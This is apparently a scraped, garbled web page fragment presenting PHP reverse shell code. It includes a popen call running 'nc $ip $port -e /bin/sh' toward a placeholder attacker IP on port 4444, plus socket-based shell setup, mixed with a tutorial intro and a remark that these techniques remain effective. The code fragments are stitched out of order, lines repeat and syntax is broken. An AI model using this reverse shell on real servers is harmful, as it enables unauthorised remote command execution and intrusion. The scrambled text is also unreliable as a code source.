<?php $ip = 'your_attacker_ip_address'; // Change this to your IP $port = 4444; $p = popen("nc $ip $port -e /bin/sh", "w"); if (!$p) die("Failed to create process");
// Create a socket $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($sock === false) $error = socket_last_error(); echo "socket_create() failed: $error\n"; else // Connect to the attacker's listener $result = socket_connect($sock, $ip, $port); if ($result === false) $error = socket_last_error($sock); echo "socket_connect() failed: $error\n"; socket_close($sock); else // Make the shell $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); reverse shell php top
To create a reverse shell in PHP, we'll use the following components: ?php $ip = 'your_attacker_ip_address'
if (is_resource($process)) // Close the file pointers fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); if (!$p) die("Failed to create process")
The techniques we've explored remain effective because the fundamental architecture of the web has not changed. Servers need to execute code, and firewalls need to allow traffic.